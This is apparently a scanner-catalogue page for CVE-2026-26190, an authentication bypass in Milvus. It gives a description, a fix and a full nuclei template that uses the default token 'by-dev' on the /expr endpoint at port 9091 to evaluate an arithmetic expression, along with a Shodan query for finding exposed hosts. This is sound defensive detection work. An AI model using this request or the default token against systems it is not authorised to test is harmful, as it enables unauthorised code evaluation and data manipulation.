Milvus - Unauthenticated Metrics API Access

criticalseverity

9.8CVSS score

38.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Milvus < 2.5.27 and < 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.

Impact

Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.

Fix

Update to versions 2.5.27 or 2.6.10 or later.

How to confirm it

Send: GET /expr?auth={{randstr}}&code={{num1}}*{{num2}}
Positive when: contains "the expr auth is invalid"
Send: GET /expr?auth=by-dev&code={{num1}}*{{num2}}
Positive when: contains "\"output\":\"{{result}}\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-26190 -u <target>

The full check

id: CVE-2026-26190

info:
  name: Milvus - Unauthenticated Metrics API Access
  author: WRG-11
  severity: critical
  description: |
    Milvus < 2.5.27 and < 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.
  impact: |
    Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.
  remediation: |
    Update to versions 2.5.27 or 2.6.10 or later.
  reference:
    - https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6
    - https://github.com/advisories/GHSA-7ppg-37fh-vcr6
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26190
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-26190
    epss-score: 0.38793
    epss-percentile: 0.98598
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: milvus
    product: milvus
    shodan-query: 'http.html:"404 page not found" port:"9091"'
  tags: cve,cve2026,milvus,auth-bypass,unauth,vkev

variables:
  num1: "{{rand_int(40000, 44800)}}"
  num2: "{{rand_int(40000, 44800)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /expr?auth={{randstr}}&code={{num1}}*{{num2}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'the expr auth is invalid'
        internal: true

  - raw:
      - |
        GET /expr?auth=by-dev&code={{num1}}*{{num2}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"output":"{{result}}"'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from